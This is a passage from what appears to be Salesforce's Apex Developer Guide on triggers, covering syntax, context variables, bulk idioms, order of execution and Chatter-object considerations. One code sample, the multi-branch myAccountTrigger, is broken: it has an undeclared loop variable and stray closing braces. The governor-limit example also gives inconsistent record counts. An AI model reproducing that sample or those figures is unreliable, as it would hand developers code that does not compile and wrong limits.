• Any built-in Apex methods that are part of the Apex language
Running any other Apex code isn’t allowed when the user doesn’t have the Author Apex permission. For example, calling methods of
custom Apex classes that are saved in the organization isn’t allowed nor is using custom classes as arguments to built-in methods.
When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.
Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes before or after the following types of operations:
• insert
• update
• delete
• merge
• upsert
• undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.
There are two types of triggers:
• Before triggers are used to update or validate record values before they’re saved to the database.
210
• After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
275.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.
Implementation Considerations
Before creating triggers, consider the following:
• upsert triggers fire both before and after insert or before and after update triggers as appropriate.
• merge triggers fire both before and after delete for the losing records, and both before and after update triggers for the
winning record. See Triggers and Merge Statements on page 219.
• Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 219.
• Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don’t see any history for the current
transaction.
• Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object
or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is
recorded.
• Callouts must be made asynchronously from a trigger so that the trigger process isn’t blocked while waiting for the external service's
response. The asynchronous callout is made in a background process, and the response is received when the external service returns
it. To make an asynchronous callout, use asynchronous Apex such as a future method. See Invoking Callouts Using Apex for more
information.
• In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.
IN THIS SECTION:
1. Bulk Triggers
2. Trigger Syntax
3. Trigger Context Variables
4. Context Variable Considerations
5. Common Bulk Trigger Idioms
6. Defining Triggers
7. Triggers and Merge Statements
8. Triggers and Recovered Records
211
9. Triggers and Order of Execution

10. Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
11. Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
12. Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
13. Trigger Exceptions
14. Trigger and Bulk Request Best Practices
Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
• Data import
• Force.com Bulk API calls
• Mass actions, such as record owner changes and deletes
• Recursive Apex methods and triggers that invoke bulk DML statements
Trigger Syntax
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {

code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error
when the trigger is called in bulk from the Force.com API.
For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}
212
The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.
Trigger Context Variables

All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the
System.Trigger class.
Variable Usage
isExecuting Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.
isInsert Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.
isUpdate Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.
isDelete Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.
isBefore Returns true if this trigger was fired before any record was saved.
isAfter Returns true if this trigger was fired after all records were saved.
isUndelete Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)
new Returns a list of the new versions of the sObject records.

This sObject list is only available in insert, update, and undelete triggers, and the records
can only be modified in before triggers.
newMap A map of IDs to the new versions of the sObject records.

This map is only available in before update, after insert, after update, and
after undelete triggers.
old Returns a list of the old versions of the sObject records.

This sObject list is only available in update and delete triggers.
oldMap A map of IDs to the old versions of the sObject records.

This map is only available in update and delete triggers.
size The total number of records in a trigger invocation, both old and new.
Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set
to null in the new, newMap, old, and oldMap trigger context variables.
213
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.

} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
if(a.Name == 'makeContact') {
214
contacts.add(new Contact (LastName = a.Name,

AccountId = a.Id));
}
}
insert contacts;
}
}
}}}
Context Variable Considerations

Be aware of the following considerations for trigger context variables:
• trigger.new and trigger.old cannot be used in Apex DML operations.
• You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
• trigger.old is always read-only.
• You cannot delete trigger.new.
The following table lists considerations about certain actions in different trigger events:
Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
before insert Allowed. Not applicable. The original Not applicable. The original
object has not been created; object has not been created;
nothing can reference it, so nothing can reference it, so
nothing can update it. nothing can update it.
after insert Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown, as trigger.new is object is deleted immediately
already saved. after being inserted.
before update Allowed. Not allowed. A runtime error is Not allowed. A runtime error is
thrown. thrown.
after update Not allowed. A runtime error is Allowed. Even though bad code Allowed. The updates are saved
thrown, as trigger.new is could cause an infinite recursion before the object is deleted, so
already saved. doing this incorrectly, the error if the object is undeleted, the
would be found by the governor updates become visible.
limits.
before delete Not allowed. A runtime error is Allowed. The updates are saved Not allowed. A runtime error is
thrown. trigger.new is not before the object is deleted, so thrown. The deletion is already
available in before delete if the object is undeleted, the in progress.
triggers. updates become visible.
after delete Not allowed. A runtime error is Not applicable. The object has Not applicable. The object has
thrown. trigger.new is not already been deleted. already been deleted.
available in after delete triggers.
215
Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
after undelete Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown. object is deleted immediately
after being inserted.
Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult
for developers to understand and code because they involve processing batches of several records at a time. The following sections
provide examples of idioms that should be used frequently when writing in bulk.
Using Maps and Sets in Bulk Triggers

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps
can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem
records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their
associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems
in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// For every OpportunityLineItem record, add its associated pricebook entry

// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
Correlating Records with Query Results in Bulk Triggers

Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this
trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
216
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}
Using Triggers to Insert or Update Records with Unique Fields

When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the
error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct
by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new
keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert
event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the
changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second
record is no longer valid.
Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.
Tip: For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers list, click New.

3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the
default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed
package. You can specify an older version of a managed package if you want to access components or functionality that differs from
the most recent package version.
4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {

code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
217
• before delete
• after insert
• after update
• after delete
• after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if they’re in a lookup relationship.
The Apex Trigger Editor

The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )

Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
218
Line and character count

The total number of lines and characters is displayed in the status bar at the bottom of the editor.
Triggers and Merge Statements

Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:
Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were
deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after
losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is
only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result
of a merge, you need to use the after delete trigger event.
Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result
of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts,
such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.
Triggers and Recovered Records

The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered
from the Recycle Bin through the undelete DML statement. These are also called undeleted records.
The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also
be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete
trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes.
The after undelete trigger event only fires for the following objects:
• Account
• Asset
• Campaign
• Case
• Contact
• ContentDocument
• Contract
• Custom objects
• Event
• Lead
• Opportunity
219
• Product
• Solution
• Task
Triggers and Order of Execution

When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order.
Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any
dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on
the client side.
On the server, Salesforce:
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
If the request came from a standard UI edit page, Salesforce runs system validation to check the record for:
• Compliance with layout-specific rules
• Required values at the layout level and field-definition level
• Valid field formats
• Maximum field length
When the request comes from other sources, such as an Apex application or a SOAP API call, Salesforce validates only the foreign
keys. Prior to executing a trigger, Salesforce verifies that any custom foreign keys do not refer to the object itself.
Salesforce runs user-defined validation rules if multiline items were created, such as quote line items and opportunity line items.
3. Executes all before triggers.

4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined
validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI
edit page) is the enforcement of layout-specific rules.
5. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record is not saved
and no further steps, such as after triggers and workflow rules, are taken.
6. Saves the record to the database, but doesn't commit yet.
7. Executes all after triggers.
8. Executes assignment rules.
9. Executes auto-response rules.
10. Executes workflow rules.
11. If there are workflow field updates, updates the record again.
12. If the record was updated with workflow field updates, fires before update triggers and after update triggers one more
time (and only one more time), in addition to standard validations. Custom validation rules, duplicate rules, and escalation rules are
not run again.
13. Executes processes.
If there are workflow flow triggers, executes the flows.
The pilot program for flow trigger workflow actions is closed. If you've already enabled the pilot in your org, you can continue to
create and edit flow trigger workflow actions. If you didn't enable the pilot in your org, use the Flows action in Process Builder instead.
220
14. Executes escalation rules.

15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up
summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow,
performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save
procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. Executes post-commit logic, such as sending email.
Note: During a recursive save, Salesforce skips steps 8 (assignment rules) through 17 (roll-up summary field in the grandparent
record).
Additional Considerations
Please note the following when working with triggers.
• The order of execution isn’t guaranteed when having multiple triggers for the same object due to the same event. For example, if
you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these
triggers fire isn’t guaranteed.
• When a DML call is made with partial success allowed, more than one attempt can be made to save the successful records if the
initial attempt results in errors for some records. For example, an error can occur for a record when a user-validation rule fails. Triggers
are fired during the first attempt and are fired again during subsequent attempts. Because these trigger invocations are part of the
same transaction, static class variables that are accessed by the trigger aren't reset. DML calls allow partial success when you set the
allOrNone parameter of a Database DML method to false or when you call the SOAP API with default settings. For more
details, see Bulk DML Exception Handling.
• If your org uses Contacts to Multiple Accounts, anytime you insert a non-private contact, an AccountContactRelation is created and
its validation rules, database insertion, and triggers are executed immediately after the contact is saved to the database (step 6).
When you change a contact's primary account, an AccountContactRelation may be created or edited, and the AccountContactRelation
validation rules, database changes, and triggers are executed immediately after the contact is saved to the database (step 6).
• If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows:
– If you set Stage and Forecast Category, the opportunity record contains those exact values.
– If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
– If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value
should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming
Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage.
If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
• If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
221
• Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception.
When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last update trigger won’t
contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For
example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule
field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object
obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case.
Operations That Don't Invoke Triggers

Some operations don’t invoke triggers.
Triggers are invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server.
Therefore, some system bulk operations don't invoke triggers. Some examples include:
• Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
• Cascading updates of child records that are reparented as a result of a merge operation
• Mass campaign status changes
• Mass division transfers
• Mass address updates
• Mass approval request transfers
• Mass email actions
• Modifying custom field data types
• Renaming or replacing picklists
• Managing price books
• Changing a user's default division with the transfer division option checked
• Changes to the following objects:
– BrandTemplate
– MassEmailTemplate
– Folder
• Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.
The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
• insert of accounts, contacts, and opportunities
• update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product,
even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the
opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
• Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
222
Note: Content packs are revised when a slide inside the pack is revised.
• Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
• You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object don’t fire when:
• the attachment is created via Case Feed publisher.
• the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.
Entity and Field Considerations in Triggers

When you create triggers, consider the behavior of certain entities, fields, and operations.
QuestionDataCategorySelection Entity Not Available in After Insert Triggers

The after insert trigger that fires after inserting one or more Question records doesn’t have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesn’t return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];
Fields Not Updateable in Before Triggers

Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields
cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
• Task.isClosed
• Opportunity.amount*
• Opportunity.ForecastCategory
• Opportunity.isWon
• Opportunity.isClosed
• Contract.activatedDate
• Contract.activatedById
• Case.isClosed
• Solution.isReviewed
• Id (for all records)**
• createdDate (for all records)**
• lastUpdated (for all records)
• Event.WhoId (when Shared Activities is enabled)
• Task.WhoId (when Shared Activities is enabled)
* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.
223
Fields Not Updateable in After Triggers

The following fields can’t be updated by after insert or after update triggers.
• Event.WhoId
• Task.WhoId
Considerations for Event DateTime Fields in Insert and Update Triggers

We recommend using the following date and time fields to create or update events.
• When creating or updating a timed Event, use ActivityDateTime to avoid issues with inconsistent date and time values.
• When creating or updating an all-day Event, use ActivityDate to avoid issues with inconsistent date and time values.
• We recommend that you use DurationInMinutes because it works with all updates and creates for Events.
Operations Not Supported in Insert and Update Triggers

The following operations aren’t supported in insert and update triggers.
• Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
• Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled
Entities Not Supported in After Undelete Triggers

Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers.
• CollaborationGroup
• CollaborationGroupMember
• FeedItem
• FeedComment
Considerations for Update Triggers

Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object or
field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
Considerations for the Salesforce Side Panel for Saleforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields aren’t immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.
SEE ALSO:
Triggers for Chatter Objects
Triggers for Chatter Objects

You can write triggers for the FeedItem and FeedComment objects.
224
Trigger Considerations for FeedItem, FeedAttachment, and FeedComment

• Only FeedItems of type TextPost, LinkPost, HasLink, ContentPost, and HasContent can be inserted, and therefore
invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire.
• While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against
versions before 21.0.
• For FeedItem, the following fields are not available in the before insert trigger:
– ContentSize
– ContentType
In addition, the ContentData field is not available in any delete trigger.
• Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
• FeedAttachment is not a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query.
For example:
trigger FeedItemTrigger on FeedItem (after update) {
List<FeedAttachment> attachments = [SELECT Id, Title, Type, FeedEntityId

FROM FeedAttachment
WHERE FeedEntityId IN :Trigger.new ];
for (FeedAttachment attachment : attachments) {

System.debug(attachment.Type);
}
}
• When a feed item with associated attachments is inserted, the FeedItem is inserted first, then the FeedAttachment records are
created next. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, FeedAttachments are available in update triggers only, and aren’t available in
insert triggers.
• The following feed attachment operations cause the FeedItem update triggers to fire.
– A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
– A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
• FeedItem triggers aren’t fired when inserting or updating a FeedAttachment that doesn’t cause a change on the associated FeedItem.
• You can’t insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
• For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) are not available.
225
Other Chatter Trigger Considerations

• Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be
a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group
in the FeedItem record.
• When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member
count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update
triggers run as well.
SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Force.com: FeedItem
Object Reference for Salesforce and Force.com: FeedAttachment
Object Reference for Salesforce and Force.com: FeedComment
Object Reference for Salesforce and Force.com: CollaborationGroup
Object Reference for Salesforce and Force.com: CollaborationGroupMember
Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
• If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
• If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to
do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 139.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
SEE ALSO:
addError(errorMsg)
addError(errorMsg)
Trigger and Bulk Request Best Practices

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized
to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.
This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}
226
This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation.
If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements:
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];
}
}
For more information on governor limits, see Execution Governors and Limits on page 275.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
Best Practices for Designing Bulk Programs

The following are the best practices for this design pattern:
• Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML
operations against these collections.
• Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL
statement used with the IN clause.
SEE ALSO:
Developing Code in the Cloud
Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.
Asynchronous Apex Feature When to Use

Future Methods • When you have a long-running method and need to prevent
delaying an Apex transaction
• When you make callouts to external Web services
• To segregate DML operations and bypass the mixed save DML
error
Queueable Apex • To start a long-running operation and get an ID for it

• To pass complex types to a job
• To chain jobs
227
Asynchronous Apex Feature When to Use

Batch Apex • For long-running jobs with large data volumes that need to
be performed in batches, such as database maintenance jobs
